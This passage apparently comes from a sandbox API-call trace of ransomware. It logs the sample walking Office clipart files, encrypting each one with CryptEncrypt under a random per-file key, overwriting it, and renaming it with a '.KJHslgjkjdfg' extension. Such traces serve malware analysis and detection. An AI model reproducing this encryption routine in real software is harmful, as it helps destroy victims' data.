dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.732] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x312c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x312c, lpOverlapped=0x0) returned 1 [0204.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3130, dwBufLen=0x3130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3130) returned 1 [0204.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.734] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3130, lpOverlapped=0x0) returned 1 [0204.734] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.734] SetEndOfFile (hFile=0x130) returned 1 [0204.736] GetProcessHeap () returned 0x2ef0000 [0204.736] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.736] GetProcessHeap () returned 0x2ef0000 [0204.736] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.kjhslgjkjdfg")) returned 1 [0204.738] CloseHandle (hObject=0x130) returned 1 [0204.738] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0204.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.739] GetProcessHeap () returned 0x2ef0000 [0204.739] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.739] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.739] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.742] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.742] GetProcessHeap () returned 0x2ef0000 [0204.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.742] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.742] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.742] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.742] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.742] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.742] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.742] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.743] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.743] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x975e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x975e, lpOverlapped=0x0) returned 1 [0204.744] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9760, dwBufLen=0x9760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9760) returned 1 [0204.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.745] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9760, lpOverlapped=0x0) returned 1 [0204.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.745] SetEndOfFile (hFile=0x130) returned 1 [0204.748] GetProcessHeap () returned 0x2ef0000 [0204.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.748] GetProcessHeap () returned 0x2ef0000 [0204.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.kjhslgjkjdfg")) returned 1 [0204.749] CloseHandle (hObject=0x130) returned 1 [0204.749] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0204.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.750] GetProcessHeap () returned 0x2ef0000 [0204.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.750] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.750] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.755] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.755] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.755] GetProcessHeap () returned 0x2ef0000 [0204.755] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.755] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.755] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.755] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.756] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.756] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.756] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.756] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.756] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.756] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.756] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcec6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcec6, lpOverlapped=0x0) returned 1 [0204.758] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xced0, dwBufLen=0xced0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xced0) returned 1 [0204.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.759] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xced0, lpOverlapped=0x0) returned 1 [0204.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.759] SetEndOfFile (hFile=0x130) returned 1 [0204.762] GetProcessHeap () returned 0x2ef0000 [0204.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.762] GetProcessHeap () returned 0x2ef0000 [0204.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.kjhslgjkjdfg")) returned 1 [0204.764] CloseHandle (hObject=0x130) returned 1 [0204.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0204.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.765] GetProcessHeap () returned 0x2ef0000 [0204.765] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.765] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.765] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.765] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.765] GetProcessHeap () returned 0x2ef0000 [0204.765] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.765] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.765] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b40, lpOverlapped=0x0) returned 1 [0204.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b40, dwBufLen=0x4b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b40) returned 1 [0204.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b40, lpOverlapped=0x0) returned 1 [0204.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.771] SetEndOfFile (hFile=0x130) returned 1 [0204.773] GetProcessHeap () returned 0x2ef0000 [0204.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.773] GetProcessHeap () returned 0x2ef0000 [0204.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.kjhslgjkjdfg")) returned 1 [0204.774] CloseHandle (hObject=0x130) returned 1 [0204.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0204.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.776] GetProcessHeap () returned 0x2ef0000 [0204.776] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.776] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.776] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.778] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.778] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.778] GetProcessHeap () returned 0x2ef0000 [0204.778] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.778] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.778] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.778] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.778] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.778] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.779] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.779] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.779] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.779] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x80d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x80d4, lpOverlapped=0x0) returned 1 [0204.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x80e0) returned 1 [0204.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.780] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x80e0, lpOverlapped=0x0) returned 1 [0204.781] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, 